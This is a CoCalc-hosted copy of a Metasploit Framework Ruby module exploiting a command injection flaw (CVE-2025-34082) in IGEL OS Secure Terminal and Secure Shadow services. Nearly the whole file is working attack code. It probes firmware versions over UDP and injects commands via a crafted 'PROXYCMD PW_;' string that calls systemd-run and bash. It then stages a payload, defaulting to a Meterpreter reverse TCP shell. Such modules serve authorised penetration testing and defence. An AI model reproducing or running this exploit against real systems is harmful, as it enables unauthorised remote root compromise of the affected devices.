Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/igel_command_injection.rb
28612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Udp
10
include Msf::Exploit::Remote::Tcp
11
include Msf::Exploit::CmdStager
12
prepend Msf::Exploit::Remote::AutoCheck
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'IGEL OS Secure VNC/Terminal Command Injection RCE',
19
'Description' => %q{
20
This module exploits a command injection vulnerability in IGEL OS Secure Terminal
21
and Secure Shadow services.
22
23
Both Secure Terminal (telnet_ssl_connector - 30022/tcp) and Secure
24
Shadow (vnc_ssl_connector - 5900/tcp) services are vulnerable.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'Rob Vinson', # Discovery
29
'James Brytan', # Research and testing
30
'James Smith', # Research and testing
31
'Marisa Mack', # Research and testing
32
'Sergey Pashevkin', # Research and testing
33
'Steven Laura' # Research and testing
34
],
35
'References' => [
36
[ 'CVE', '2025-34082' ],
37
[ 'URL', 'https://kb.igel.com/securitysafety/en/isn-2021-01-igel-os-remote-command-execution-vulnerability-41449239.html' ],
38
[ 'URL', 'https://www.igel.com/wp-content/uploads/2021/02/lxos_11.04.270.txt' ]
39
],
40
'Platform' => ['linux'],
41
'Arch' => [ARCH_X86, ARCH_X64],
42
'Targets' => [
43
[
44
'Secure Terminal Service',
45
{
46
'Arch' => [ARCH_X86, ARCH_X64],
47
'Type' => :cmd,
48
'Platform' => 'linux',
49
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 30022 }
50
}
51
],
52
[
53
'Secure Shadow Service',
54
{
55
'Arch' => [ARCH_X86, ARCH_X64],
56
'Type' => :cmd,
57
'Platform' => 'linux',
58
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 5900 }
59
}
60
],
61
],
62
'Privileged' => true,
63
'DisclosureDate' => '2021-02-25',
64
'CmdStagerFlavor' => ['printf'],
65
'DefaultTarget' => 0,
66
'DefaultOptions' => {
67
'PrependFork' => true
68
},
69
'Notes' => {
70
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
71
'Reliability' => [REPEATABLE_SESSION],
72
'Stability' => [CRASH_SAFE]
73
}
74
)
75
)
76
77
register_advanced_options(
78
[
79
# must enable SSL
80
OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true]),
81
]
82
)
83
end
84
85
def check
86
probe = '<igel_scan></igel_scan>'
87
88
connect_udp(true, 'RPORT' => 30005)
89
udp_sock.put(probe)
90
res = udp_sock.recvfrom(65535, 0.5)
91
disconnect_udp
92
93
unless res && res[0]
94
return Exploit::CheckCode::Unknown
95
end
96
97
probe_response = res[0]
98
matches = probe_response.match(/firmwareversion=<([0-9.]+)>/)
99
unless matches
100
return Exploit::CheckCode::Unknown
101
end
102
103
version = matches.captures[0]
104
vprint_status("IGEL OS Version: #{version}")
105
version = Rex::Version.new(version)
106
107
if version < Rex::Version.new('10.06.220') && version >= Rex::Version.new('10.0.0')
108
return Exploit::CheckCode::Appears
109
elsif version < Rex::Version.new('11.04') && version >= Rex::Version.new('11.03.620')
110
return Exploit::CheckCode::Safe
111
elsif version < Rex::Version.new('11.04.270') && version >= Rex::Version.new('11.0.0')
112
return Exploit::CheckCode::Appears
113
end
114
115
return Exploit::CheckCode::Safe
116
end
117
118
def execute_command(cmd, _opts = {})
119
vprint_status("executing: #{cmd}")
120
connect
121
sock.put(%(PROXYCMD PW_;/usr/bin/systemd-run --scope bash -c "#{cmd}";false))
122
ensure
123
disconnect
124
end
125
126
def exploit
127
execute_cmdstager(linemax: 150, noconcat: true, delay: 2)
128
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
129
fail_with(Failure::Unreachable, "Failed executing payload with error #{e}.")
130
end
131
132
end
133
134